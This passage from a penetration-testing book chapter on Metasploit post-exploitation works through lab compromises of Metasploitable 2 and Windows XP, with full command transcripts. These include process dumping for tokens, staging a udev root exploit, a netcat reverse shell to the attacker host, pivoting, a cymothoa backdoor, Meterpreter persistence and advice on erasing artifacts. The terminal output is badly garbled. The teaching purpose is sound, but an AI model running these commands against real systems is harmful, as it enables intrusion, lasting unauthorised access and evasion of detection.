Although none are listed there, you can also see tokens listed in the handles. Keep in mind that tokens can be used to gain access to resources such as authenticating against applications that may hold data we want. This is another reason to look at this way of getting the PID, because in the process we’ll see processes we may want to dump in order to extract tokens. For what we are doing here, we have what we need. We have the PIDs.
To use procdump64.exe, we have to do one thing. It’s on the remote system since we uploaded it, but SysInternals tools require that we accept the end-user license agreement (EULA). We can do that by dropping to a shell on the remote system (just type shell in Meterpreter, and you will get a command prompt on the remote system). Once we are on the remote system and in the directory the file was uploaded to, which is where we will be placed by default, we just run procdump64.exe -accepteula. If we don’t do that, the program will print out the EULA and tell you that you need to accept it. Example 6-14 shows dumping a process.
C:W
indowss
ystem32>procdump64.exe cygrunsrv.exe procdump64.exe cygrunsrv.exe ProcDump v9.0 - Sysinternals process dump utility Copyright(
C)
2009-2017 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com[
13:44:20]
Dump1
initiated: C:W
indowss
ystem32c
ygrunsrv.exe_180210_134420.dmp[
13:44:20]
Dump1
complete
:5
MB written in 0.1 seconds[
13:44:20]
Dump count reached. C:W
indowss
ystem32>exitexit
meterpreter > download cygrunsrv.exe_180210_134420.dmp[
*]
Downloading: cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp[
*]
Downloaded 1.00 MiB of 4.00 MiB(
25.0%)
: cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp[
*]
Downloaded 2.00 MiB of 4.00 MiB(
50.0%)
: cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp[
*]
Downloaded 3.00 MiB of 4.00 MiB(
75.0%)
: cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp[
*]
Downloaded 4.00 MiB of 4.00 MiB(
100.0%)
: cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp[
*]
download : cygrunsrv.exe_180210_134420.dmp -> cygrunsrv.exe_180210_134420.dmp
The process selected had a token handle listed. We can use either the process name or the PID to tell procdump64.exe which process we want to dump. If you have processes with the same name, as was the case with postgres.exe because it spawned numerous child processes to manage the work, you will have to use the PID. This makes it clear to procdump64.exe which process you mean to extract from memory. We end up with a .dmp file left on the disk of the remote system. If we want to analyze it, we’ll want to bring it back to our local system to work on it. We can do that using download in Meterpreter. Before we can do that, we need to drop out of the shell on the remote system so we just exit out. This doesn’t lose the connection to the remote system, since we still have our Meterpreter session running. We just spawned a shell out of our Meterpreter session and needed to drop back to Meterpreter.
Once we are on the remote system, there are a number of things we can do with processes. This could be done using Meterpreter, one of the other modules that could be loaded, or any number of programs we could upload to the remote system. One thing to keep in mind is that you may want to clean up after yourself after you’re done so any artifacts you created aren’t available for detection later.
Ultimately, you won’t be able to do much if you don’t have a high level of permissions. Ideally, services run with the absolute minimum number of permissions possible. There’s simply no reason to run services with a high level of rights. In a perfect world, programmers would follow the principle of least privilege and not require more permissions than are absolutely necessary. Let’s say that services are installed with a limited number of privileges, and you manage to compromise the service. This means you are logged in as a user that can’t get to anything. You are bound by whatever permissions are held by the user that owns the process you compromised. To do much of anything, you need to get a higher level of privileges.
To get higher privileges, you need a way to compromise another process on the system that is running as root. Otherwise, you may be able to just switch your user role. On a Unix-like system such as Kali, you could use the su command to switch users. By default, this would give you root permissions unless you specify a particular user. However, you would need to use the root password to make that happen. You may be able to do that by compromising the root password. Also available on Linux systems is sudo. This command gives temporary permissions to run a command. If I were to use sudo mkdir /etc/directory, I would be making a directory under /etc. Since that directory is owned by root, I need the right permissions. This is why I use sudo.
We’re going to run a privilege escalation attack without using passwords, sudo or su. For this, we’re going to use a local vulnerability. We’re going to target a Metasploitable 2 system, which is based on an outdated version of Ubuntu Linux. We need to look for a local exploit that we can use after we have compromised the system. By identifying the version of the kernel by exploiting it, we discover the Linux kernel is 2.6.24. We can find this by using uname -a after we are on the system. An nmap scan may also be able to identify the version. Knowing the kernel version, we can look for a vulnerability that attacks that version.
Keep in mind that a local vulnerability is one that requires that you are already logged into the machine or you have some ability to execute commands on the machine.
After identifying that a vulnerability is associated with udev, a device manager that works with the Linux kernel, we can grab the source code. You can see in Example 6-15 that I’ve used searchsploit to identify udev vulnerabilities. I know the one I’m looking for is 8572.c, based on some research I had done, so I can copy that file from where it sits to my home directory so I can compile it. Since I’m working from a 64-bit system, I had to install the gcc-multilib package in order to compile to a 32-binary (the architecture in use at my target). This is something I can identify by using uname -a. After compiling the source code to an executable, the executable file has to be copied somewhere it can be accessed remotely. Sticking it into the root of my web server means I can get to it by using a protocol that isn’t commonly suspect.
When you compile, you get to determine the filename that comes out of the compilation process. You do this using -o and then providing the filename. In our example, I’ve used a filename that might not be suspect if found on the target system. You can use whatever filename makes you happy, as long as you remember the name so you can retrieve it later.
root@yazpistachio# searchsploit udev --------------------------------------- ---------------------------------------- Exploit Title|
Path|
(
/usr/share/exploitdb/)
--------------------------------------- ---------------------------------------- Linux Kernel 2.6(
Debian 4.0 / Ubuntu|
exploits/linux/local/8478.sh Linux Kernel 2.6(
Gentoo / Ubuntu 8.10|
exploits/linux/local/8572.c Linux Kernel 4.8.0 UDEV <232
- Local|
exploits/linux/local/41886.c Linux Kernel UDEV < 1.4.1 -'Netlink'
|
exploits/linux/local/21848.rb --------------------------------------- ---------------------------------------- Shellcodes: No Result root@yazpistachio# cp /usr/share/exploitdb/exploits/linux/local/8572.c . root@yazpistachio# gcc -m32 -o tuxbowling 8572.c root@yazpistachio# cp tuxbowling /var/www/html
Now that we have the local exploit staged so we can retrieve it, we can move on to the exploit. Example 6-16 shows exploiting Metasploitable 2 using a vulnerability in a distributed C compiler. Once the system is compromised, you’ll see that I’ve downloaded the local exploit binary to the exploited system. Once the file has been compiled, the executable bit is set automatically, telling the system it is a program that can be directly executed. Once it’s been downloaded using wget, the file loses any permission bits that were set, meaning we need to reset the executable bit by using chmod +x on the file. Once we’ve set the executable bit, we are ready to work on the privilege escalation.
msf exploit(
unix/misc/distcc_exec)
>set
RHOST 192.168.86.47RHOST
=
> 192.168.86.47 msf exploit(
unix/misc/distcc_exec)
> exploit[
*]
Started reverse TCP double handler on 192.168.86.30:4444[
*]
Accepted the first client connection...[
*]
Accepted the second client connection...[
*]
Command:echo
YfrONcWAHdPy0YS1;
[
*]
Writing to socket A[
*]
Writing to socket B[
*]
Reading from sockets...[
*]
Reading from socket B[
*]
B:"YfrONcWAHdPy0YS1 "
[
*]
Matching...[
*]
A is input...[
*]
Command shell session1
opened(
192.168.86.30:4444 -> 192.168.86.47:57395)
at 2018-02-11 13:25:31 -0700 wget http://192.168.86.30/tuxbowling --15:24:58-- http://192.168.86.30/tuxbowling=
>`
tuxbowling'
Connecting to 192.168.86.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7,628 (7.4K)
0K ....... 100% 657.70 KB/s
15:24:58 (657.70 KB/s) - `tuxbowling'
saved[
7628/7628]
chmod +x tuxbowling
You’ll notice there are no prompts after exploitation. That’s an artifact of this exploit and the user we have exploited. Just because we don’t get a prompt doesn’t mean we haven’t compromised the system. Just start sending commands to see if they are accepted.
We aren’t ready to perform the exploit, though. We have some work to do. The exploit works by injecting into a running process. First, we need to identify the PID we are going to inject into. We can use the proc pseudo filesystem, which stores information associated with processes. We are looking for the PID for the netlink process. We find that to be 2686 in Example 6-17. To verify that, we can just double-check against the PID for the udev process. The PID we need to infect is going to be one below the udev PID. We can see that the udev PID is 2687, which is one above the PID we had already identified. This means that we know the PID to use, but we still need to stage a bash script that our exploit is going to call. We populate that script with a call to netcat, which will open up a connection back to the Kali system, where we’ll create a listener using netcat.
cat /proc/net/netlink sk Eth Pid Groups Rmem Wmem Dump Locks ddf0e8000
0
00000000
0
0
00000000
2 df7df4004
0
00000000
0
0
00000000
2 dd39d8007
0
00000000
0
0
00000000
2 df16f6009
0
00000000
0
0
00000000
2 dd82f40010
0
00000000
0
0
00000000
2 ddf0ec0015
0
00000000
0
0
00000000
2 dccbe60015
2686
00000001
0
0
00000000
2 de12d80016
0
00000000
0
0
00000000
2 df93e40018
0
00000000
0
0
00000000
2 ps auxww|
grep udev root2687
0.0 0.12092
620
? S<s 13:48 0:00 /sbin/udevd --daemonecho
"#!/bin/bash"
> /tmp/runecho
"/bin/netcat -e /bin/bash 192.168.86.30 8888"
>> /tmp/run ./tuxbowling 2686
On the Kali end, we would use netcat -l -p 8888, which tells netcat to start up a listener on port 8888. I selected that port, but there is nothing special about it. You could use any port you wanted so you have a listener. Remember, you won’t get a prompt or any indication that you are connected on the netcat listener end. You can, again, just start to type commands. The first thing you can do is run whoami to determine what user you are connected as. After running the exploit, you will find that you are root. You will also find that you have been placed into the root of the filesystem (/).
There are other ways to escalate your privileges. One way, if you have a Meterpreter shell, is to use the built-in command getsystem. This command attempts different strategies to escalate your privileges to those of SYSTEM. This access will get you complete control of your target system. You are not guaranteed to get SYSTEM privileges by using getsystem. It depends on the access and permissions of the user you are connected as. One technique is to grab a token and attempt to use that to get higher permissions.
While desktop systems are commonly connected to a single network using just one network interface, servers are often connected to multiple networks in order to isolate traffic. You don’t, for instance, want your administrative traffic passing over the front-side interface. The front-side interface is the one where external traffic comes in, meaning it’s the interface that users use to connect to the service. If we isolate administrative traffic to another interface for performance or security purposes, now we have two interfaces and two networks. The administrative network is not going to be directly accessible from the outside world, but it will typically have backend access to many other systems that are also being administered.
We can use a compromised system to function as a router. One of the easiest ways to do this is to use Meterpreter and run one of the modules available to help us. The first thing we need to do is compromise a system with an exploit that allows a Meterpreter payload. We’re going after the Metasploitable 2 system again, but the distcc exploit doesn’t support the Meterpreter payload. Instead, we’re going to use a Java RMI server vulnerability. RMI is functionality that lets one application call a method or function on a remote system. This allows for distributed computing and for applications to use services they may not directly support themselves. Example 6-18 shows running the exploit, including selecting the Java-based Meterpreter payload.
msf > use exploit/multi/misc/java_rmi_server msf exploit(
multi/misc/java_rmi_server)
>set
RHOST 192.168.86.47RHOST
=
> 192.168.86.47 msf exploit(
multi/misc/java_rmi_server)
>set
PAYLOAD java/meterpreter/reverse_tcpPAYLOAD
=
> java/meterpreter/reverse_tcp msf exploit(
multi/misc/java_rmi_server)
>set
LHOST 192.168.86.30LHOST
=
> 192.168.86.30 msf exploit(
multi/misc/java_rmi_server)
> exploit[
*]
Exploit running as background job 0.[
*]
Started reverse TCP handler on 192.168.86.30:4444 msf exploit(
multi/misc/java_rmi_server)
>[
*]
192.168.86.47:1099 - Using URL: http://0.0.0.0:8080/wSlukgkQzlH3lj[
*]
192.168.86.47:1099 - Local IP: http://192.168.86.30:8080/wSlukgkQzlH3lj[
*]
192.168.86.47:1099 - Server started.[
*]
192.168.86.47:1099 - Sending RMI Header...[
*]
192.168.86.47:1099 - Sending RMI Call...[
*]
192.168.86.47:1099 - Replied to requestfor
payload JAR[
*]
Sending stage(
53837
bytes)
to 192.168.86.47[
*]
Meterpreter session1
opened(
192.168.86.30:4444 -> 192.168.86.47:55125)
at 2018-02-11 14:23:05 -0700[
*]
Sending stage(
53837
bytes)
to 192.168.86.47[
*]
Meterpreter session2
opened(
192.168.86.30:4444 -> 192.168.86.47:58050)
at 2018-02-11 14:23:05 -0700[
*]
192.168.86.47:1099 - Server stopped. msf exploit(
multi/misc/java_rmi_server)
> sessions -i 1[
*]
Starting interaction with 1... meterpreter >
One thing you will notice is that I didn’t immediately get a Meterpreter prompt after running the exploit. The Meterpreter session appears to have been backgrounded. You can do this yourself using -j after exploit. That would send the session to the background. You may want the session open without necessarily directly interacting with it. If you have a backgrounded session, you can call it up with sessions -i followed by the number of the session. I have only a single session open, so the session I am interacting with is number 1.
Once we have a session open, we can check for the number of interfaces and the IP networks those interfaces are on. You can see in Example 6-19 that I’ve run ipconfig, though you can’t see the command, since I am showing only the output I care about here. Interface 2 shows that the network is 192.168.2.0/24 with the IP address of 192.168.2.135. The other interface is the network that is reachable for us since that’s the IP address we connected on. Using the IP network, we can set the route by running the autoroute module. We do that with run autoroute -s followed by the IP network or address we want to set a route to.
Interface2
============
Name : eth1 - eth1 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.2.135 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fefa:dd34 IPv6 Netmask : :: Interface3
============
Name : eth0 - eth0 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.86.47 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fefa:dd2a IPv6 Netmask : :: meterpreter > run autoroute -s 192.168.2.0/24[
!]
Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[
!]
Example: run post/multi/manage/autorouteOPTION
=
value[
...]
[
*]
Adding a route to 192.168.2.0/255.255.255.0...[
+]
Added route to 192.168.2.0/255.255.255.0 via 192.168.86.47[
*]
Use the -p option to list all active routes meterpreter > run autoroute -p[
!]
Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[
!]
Example: run post/multi/manage/autorouteOPTION
=
value[
...]
Active RoutingTable
====================
Subnet Netmask Gateway ------ ------- ------- 192.168.2.0 255.255.255.0 Session 1
After setting the route, you can run autoroute again to print out the routing table. This shows us that the route is using Session 1 as a gateway. What you can do from here is background the session using Ctrl-Z. You can then run other modules against the network you have set a route to. Once you’ve dropped back to Metasploit, you can show the routing table, as you can see in Example 6-20. This shows that the route is in place to be used from msfconsole and other modules, outside the Meterpreter session directly.
meterpreter > Background session 1?[
y/N]
y msf exploit(
multi/misc/java_rmi_server)
> route IPv4 Active RoutingTable
=========================
Subnet Netmask Gateway ------ ------- ------- 192.168.2.0 255.255.255.0 Session 1
Metasploit takes care of all of the work of directing traffic appropriately. If the system you have compromised has multiple interfaces, you can set routes to all of the networks that system has access to. You’ve effectively turned the compromised system into a router. We could have accomplished the same thing without using the autoroute module. The route function in Meterpreter could also be used. To do the same thing as we did with autoroute, you would use route add 192.168.2.0/24 1. This tells Meterpreter to set a route to the 192.168.2.0/24 (meaning 192.168.2.0-192.168.2.255) through session 1. The last value is the session ID. This would accomplish the same thing as autoroute did for us.
You may not want to have to keep exploiting the same vulnerability over and over to gain access to your remote system. For a start, someone may come by and patch the vulnerability, which would mean you would no longer be able to exploit that vulnerability. Ideally, you want to leave behind a backdoor that you could access anytime you want. One challenge is that if you just create a process that is a backdoor, it may be discovered as a rogue process. Fortunately, there is a program we can use: cymothoa. Because we are again going to use Metasploitable 2 and it’s a 32-bit system, I need to download the source code to generate a 32-bit executable.
Once you have your cymothoa executable, you can either place it into your web server directory and download it to your target system or you can just use upload through Meterpreter. With cymothoa in place, we can get a shell open to start up cymothoa. The program works by infecting a running process. This means a running process gets a new chunk of code that will start up a listener, and anyone connecting to the port cymothoa is listening on will be able to pass shell commands into the system to have them run. If you infect a process running as root, you will have root permissions.
Example 6-21 shows a run of cymothoa to infect a process. The process selected is the Apache2 process that starts up first. This is the one that has root permissions before dropping the permissions for the children it spawns. The permission drops because in order to listen on port 80, the process has to have root permissions. However, in order to read the content from the filesystem, the application does not need root permissions. Apache takes in the request from the network by using the bound port established by the root process and then hands processing of the request on to one of the children. cymothoa requires a PID as well as the shell code to inject. This is done using the command-line parameter -s 1. There are 15 possible shell codes to inject. The first one is just binding /bin/sh to the listening port provided with the -y parameter.
./cymothoa -p5196
-s1
-y 9999[
+]
attaching to process 5196 register info: ----------------------------------------------------------- eax value: 0xfffffdfe ebx value: 0x0 esp value: 0xbfb15e30 eip value: 0xb7fe2410 ------------------------------------------------------------[
+]
new esp: 0xbfb15e2c[
+]
payload preamble: fork[
+]
injecting code into 0xb7fe3000[
+]
copy general purpose registers[
+]
detaching from 5196[
+]
infected!!! netstat -atunp|
grep 9999 tcp0
0
0.0.0.0:9999 0.0.0.0:* LISTEN 7268/apache2 tcp0
0
192.168.86.47:9999 192.168.86.30:34028 ESTABLISHED 7269/sh
We now have a backdoor. The problem with this, though, is that we’ve only infected the running process. This means that if the process were killed and restarted, our backdoor would be lost. This includes if the system gets rebooted. This is one way to create a backdoor, but don’t expect it to be permanent. You’ll want to make sure you have something else in place long-term.
If the system you have compromised is a Windows system, you can use one of the post-exploitation modules available. Once you have a Meterpreter shell open to your Windows target, you can use the persistence module to create a more permanent way of accessing the system whenever you want to. Again, this module is available only if you have compromised a Windows host. No corresponding modules are available for Linux or macOS systems. To demonstrate this, we’re going to use an old Windows XP system. We’ll use a vulnerability that was reliable for a long time, even on newer systems than those running XP. This is the vulnerability announced in the Microsoft advisory MS08-067. You can see the compromise in Example 6-22.
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(
windows/smb/ms08_067_netapi)
>set
RHOST 192.168.86.57RHOST
=
> 192.168.86.57 msf exploit(
windows/smb/ms08_067_netapi)
> exploit[
*]
Started reverse TCP handler on 192.168.86.30:4444[
*]
192.168.86.57:445 - Automatically detecting the target...[
*]
192.168.86.57:445 - Fingerprint: Windows XP - Service Pack2
- lang:Unknown[
*]
192.168.86.57:445 - We could not detect the language pack, defaulting to English[
*]
192.168.86.57:445 - Selected Target: Windows XP SP2 English(
AlwaysOn NX)
[
*]
192.168.86.57:445 - Attempting to trigger the vulnerability...[
*]
Sending stage(
179779
bytes)
to 192.168.86.57[
*]
Meterpreter session1
opened(
192.168.86.30:4444 -> 192.168.86.57:1045)
at 2018-02-12 07:12:30 -0700
This has left us with a Meterpreter session. We’ll use that session to run our persistence module. Using this module, we’ll have the ability to select the payload we want to use, which will be the means we use to connect to the target. The default payload is a reverse-TCP Meterpreter payload, which is the one we have been mostly using when we’ve used Meterpreter. This will require that a handler is set up to receive the connection. We’ll also get to select the persistence mechanism, determining whether to start up the payload when the system boots or when the user logs in. You can also determine the location of where to write the payload. The system-defined temporary directory is used by default. Example 6-23 shows loading up persistence on our target.
meterpreter > run persistence -A[
!]
Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.[
!]
Example: run post/windows/manage/persistence_exeOPTION
=
value[
...]
[
*]
Running Persistence Script[
*]
Resource filefor
cleanup created at /root/.msf4/logs/persistence/ SYSTEM-C765F2_20180212.1402/BRANDEIS-C765F2_20180212.1402.rc[
*]
CreatingPayload
=
windows/meterpreter/reverse_tcpLHOST
=
192.168.86.30LPORT
=
4444[
*]
Persistent agent script is99606
bytes long[
+]
Persistent Script written to C:W
INDOWST
EMPo
ONsSTNbNzV.vbs[
*]
Starting connection handler at port4444
for
windows/meterpreter/reverse_tcp[
+]
exploit/multi/handler started![
*]
Executing script C:W
INDOWST
EMPo
ONsSTNbNzV.vbs[
+]
Agent executed with PID 3864 meterpreter >[
*]
Meterpreter session2
opened(
192.168.86.30:4444 -> 192.168.86.57:1046)
at 2018-02-12 07:14:03 -0700[
*]
Meterpreter session3
opened(
192.168.86.30:4444 -> 192.168.86.47:33214)
at 2018-02-12 07:14:07 -0700[
*]
192.168.86.47 - Meterpreter session3
closed. Reason: Died Background session 1?[
y/N]
msf exploit(
windows/smb/ms08_067_netapi)
> sessions Activesessions
===============
Id Name Type Information -- ---- ---- -----------1
meterpreter x86/windows NT AUTHORITYS
YSTEM @ SYSTEM-C765F22
meterpreter x86/windows NT AUTHORITYS
YSTEM @ SYSTEM-C765F2 Connection ---------- 192.168.86.30:4444 -> 192.168.86.57:1045(
192.168.86.57)
192.168.86.30:4444 -> 192.168.86.57:1046(
192.168.86.57)
You will notice that I didn’t set any of the options mentioned, even though I could have. Instead, I let the module choose the best method by using -A as a parameter. This left us with a new Meterpreter session, shown by running sessions. You’ll also note that the persistence was created using a Visual Basic script, as seen by the file extension (.vbs). The one thing we don’t know from looking at this output is whether the script will run when the user logs in or when the system boots. Either way, we need to make sure we have a handler waiting to receive the connection attempt when the payload starts. This module used exploit/multi/handler to receive the connection. Because the local IP address is embedded into the payload, you’ll need to make sure the handler is always running on the system you created it on with the same IP address each time.
You now have two pathways to persistence. There are others that you can do manually. This may be particularly necessary if you are compromising a Linux or macOS system. You will need to determine the system initialization process (systemd versus init) and create a system service. Otherwise, you could start up a process in one of the startup files associated with a particular user. Some of this may depend on what level of permissions you had when you compromised the system.
While Metasploit is an exploit development framework, it has a lot of built-in capability as well. You can do a lot from inside Metasploit without having to use external tools. It can take some time to get used to everything that is available in Metasploit, but the time invested is worth it. Here are some key ideas to take away from this chapter:
Metasploit has modules that can be used to scan for targets, though you can also call nmap directly from Metasploit by using db_nmap.
Metasploit maintains information about services, hosts, loot, and other artifacts in a database that can be queried.
Metasploit modules can be used to scan and exploit systems, but you’ll need to set targets and options.
The Meterpreter shell can be used to interact with the exploited system by using OS-agnostic commands.
Meterpreter’s hashdump as well as the mimikatz module can be used to grab passwords.
Meterpreter can be used to upload files, including programs to run on the remote system.
Built-in modules as well as vulnerabilities external to Metasploit can be used to escalate privileges.
Using Meterpreter’s ability to set routes through sessions created allows you to pivot to other networks.
Injecting shell code into running processes as well as using post-exploitation modules can be used to create backdoors.
Kali has many ways to research vulnerabilities and exploits, including searchsploit.
Offensive Security’s free ethical hacking course, “Metasploit Unleashed”
Ric Messier’s “Penetration Testing with the Metasploit Framework” video (Infinite Skills, 2016)
3.133.149.168